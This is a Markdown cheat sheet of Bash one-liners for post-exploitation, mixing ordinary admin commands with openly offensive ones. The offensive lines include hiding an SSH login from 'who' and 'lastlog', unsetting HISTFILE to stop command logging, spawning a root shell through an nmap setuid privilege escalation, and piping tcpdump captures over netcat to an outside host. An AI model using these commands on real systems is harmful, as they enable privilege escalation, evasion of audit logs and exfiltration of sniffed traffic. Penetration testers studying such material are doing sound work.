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83 lines
1.9 KiB
Markdown
83 lines
1.9 KiB
Markdown
# Bash Commands for Post Exploitation
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One liners
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-----------
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**Resolve a list of hostnames to IP addresses**
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```bash
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awk < hostnames.txt '{ system("resolveip -s " $1) }'```
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**IIS 6.0 IP Disclosure**
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```bash
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curl -l -O -H "Host:" "example.com"```
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**Connect to SSL websites**
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```bash
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openssl s_client -connect example.com:443```
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**Convert base64 to text**
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```bash
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echo 'base64string' | base64 -d (Use -D on OSX)```
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**Decode ASCII shellcode**
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```bash
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echo -e *shellcode hex string* (may need to use -i to ignore bad chars)```
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**Enumerate DNS of Class C**
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```bash
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for ip in $(seq 1 254); do; host 10.1.1.$ip | grep "name pointer"; done```
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**SSH to box and hide from "who" and "lastlog"**
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```bash
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ssh andrew@10.1.1.1 -T /bin/bash```
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**Prevent terminal logging**
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```bash
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unset HISTFILE```
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**Add immutable attribute to a unix file**
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```bash
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chattr +i *file*```
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**SSH into host2 through host1**
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```bash
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ssh -o "proxycommand ssh -W host2 host1" host2```
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**Nmap setuid privesc**
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```bash
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nmap --script <(echo 'os.execute("/bin/sh")')
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nmap --interactive (for older versions)```
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**Transfer files through SSH**
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```bash
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ssh test@10.1.1.1 "cat test.tar.gz" > test.tar.gz```
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**Internal port redirect for bypassing services**
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```bash
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iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 4444```
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**Enable forwarding on the fly**
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```bash
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sysctl -w net.ipv4.ip_forward=1```
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**Kill with USR1 developer defined signal**
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```bash
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kill -USR1 <pid>```
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**Pull IP addresses from a file**
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```bash
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grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'```
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**Sniff traffic with tcpdump and send to remote tcp socket**
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```bash
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tcpdump -w - | nc -v 8.8.8.8 9999```
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**Recursively search for files within a directory**
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```bash
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zcat -rf ./* | grep "searchstring"
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Credits
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-----------
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Credits to @TheAndrewBalls for posting some awsome one liners (the hidden SSH example and the DNS enumeration are both his contributions
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